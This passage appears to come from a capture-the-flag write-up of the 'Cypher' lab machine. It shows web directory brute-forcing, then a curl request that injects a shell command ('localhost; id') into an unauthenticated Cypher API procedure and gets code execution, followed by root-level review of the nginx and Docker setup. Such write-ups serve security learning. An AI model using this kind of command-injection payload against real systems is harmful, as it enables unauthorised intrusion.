oxdf@hacky$ feroxbuster -u http://cypher.htb/api -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://cypher.htb/api
🚀 Threads │ 50
📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 2w 22c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
307 GET 0l 0w 0c http://cypher.htb/api => http://cypher.htb/api/docs
405 GET 1l 3w 31c http://cypher.htb/api/auth
404 GET 7l 12w 162c http://cypher.htb/api/b33p%2Ehtml
422 GET 1l 2w 91c http://cypher.htb/api/cypher
[####################] - 9m 220545/220545 0s found:4 errors:0
[####################] - 9m 220545/220545 431/s http://cypher.htb/api/
For some reason, the /api/cypher
endpoint doesn’t require auth, so I can just use it from here without auth:
oxdf@hacky$ curl $'http://cypher.htb/api/cypher?query=CALL+custom.getUrlStatusCode(\"localhost%3b+id\")+YIELD+statusCode'
[{"statusCode":"000uid=110(neo4j) gid=111(neo4j) groups=111(neo4j)"}]
Webserver Configuration
/var/www
There are two directories in the standard website location:
root@cypher:/var/www# ls
graphasm html
html
just has the default debian nginx page. graphasm
has the site:
root@cypher:/var/www# ls graphasm/
about.html data.json login.html testing
bootstrap.bundle.min.js highlight.min.js logo.png us.png
bootstrap.min.css index.html monokai-sublime.min.css utils.js
bootstrap-notify.min.js jquery-3.6.1.min.js sanitized.json vivagraph.min.js
It’s a bit weird though as while the index, login, and about pages are there, there’s no demo page. testing
does have the JAR file:
root@cypher:/var/www# ls graphasm/testing/
custom-apoc-extension-1.0-SNAPSHOT.jar
There’s also no connection information for Neo4J. This appears to be just the static part of the site.
nginx Config
nginx
has only a single site configured:
root@cypher:/etc/nginx/sites-enabled# ls
default
It defines a single server homed in /var/www/graphasm
:
server {
listen 80 default_server;
server_name _;
if ($host != cypher.htb) {
rewrite ^ http://cypher.htb/;
}
root /var/www/graphasm;
index index.html;
...[snip]...
}
This also handles the redirect to cypher.htb
if that isn’t the site.
The rest of that server configuration is a series of locations:
location /demo {
proxy_pass http://127.0.0.1:8000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
include /etc/nginx/mime.types;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
location /api {
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
proxy_redirect off;
proxy_buffering off;
proxy_pass http://127.0.0.1:8000;
}
location / {
root /var/www/graphasm;
try_files $uri $uri/ @htmlext;
default_type application/octet-stream;
include /etc/nginx/mime.types;
}
location /testing {
alias /var/www/graphasm/testing/;
autoindex on;
try_files $uri $uri/ =404;
}
location ~ \.html$ {
try_files $uri =404;
}
location @htmlext {
rewrite ^(.*)$ $1.html last;
}
/demo
and /api
are proxied to TCP 8000. The rest are hosting from /var/www/graphasm
. This includes logic to add the .html
extension, which is why visiting /login
returns login.html
.
Docker
Port 8000 is being served by Docker:
root@cypher:/# ss -tnlp | grep 8000
LISTEN 0 4096 127.0.0.1:8000 0.0.0.0:* users:(("docker-proxy",pid=1786,fd=7))
This is visible in the process list as well:
root@cypher:/# ps auxww | grep 8000
root 1746 0.1 0.6 98068 25924 ? Ssl Jul22 1:56 /usr/local/bin/python3.9 /usr/local/bin/uvicorn app:app --reload --host 0.0.0.0 --port 8000 --root-path /api
root 1786 0.3 0.1 2188116 6364 ? Sl Jul22 4:27 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8000 -container-ip 172.18.0.2 -container-port 8000 -use-listen-fd
There’s a uvicorn
process listening on 8000. That’s going to be inside the container. docker ps
shows the container:
root@cypher:/# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
d1313f9003f3 cypher-htb-fastapi:latest "uvicorn app:app --r…" 4 months ago Up 21 hours 127.0.0.1:8000->8000/tcp fastapi
I can get a shell inside the container with docker exec -it fastapi bash
. I’ll leave it here, though I’ll always recommend digging deeper into application source to understand how it works!